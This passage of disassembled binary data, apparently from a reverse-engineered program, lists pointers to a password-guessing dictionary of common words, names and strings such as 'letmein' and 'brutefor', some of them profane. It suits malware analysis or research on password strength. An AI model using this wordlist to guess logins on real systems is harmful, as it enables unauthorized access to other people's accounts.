		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat_0	; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool_1	; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay_0	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
off_430050	dd offset aEddie	; DATA XREF: ___:00427B70o
					; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
off_43005C	dd offset aEdit		; DATA XREF: ___:off_427A0Co
					; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp_0	; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
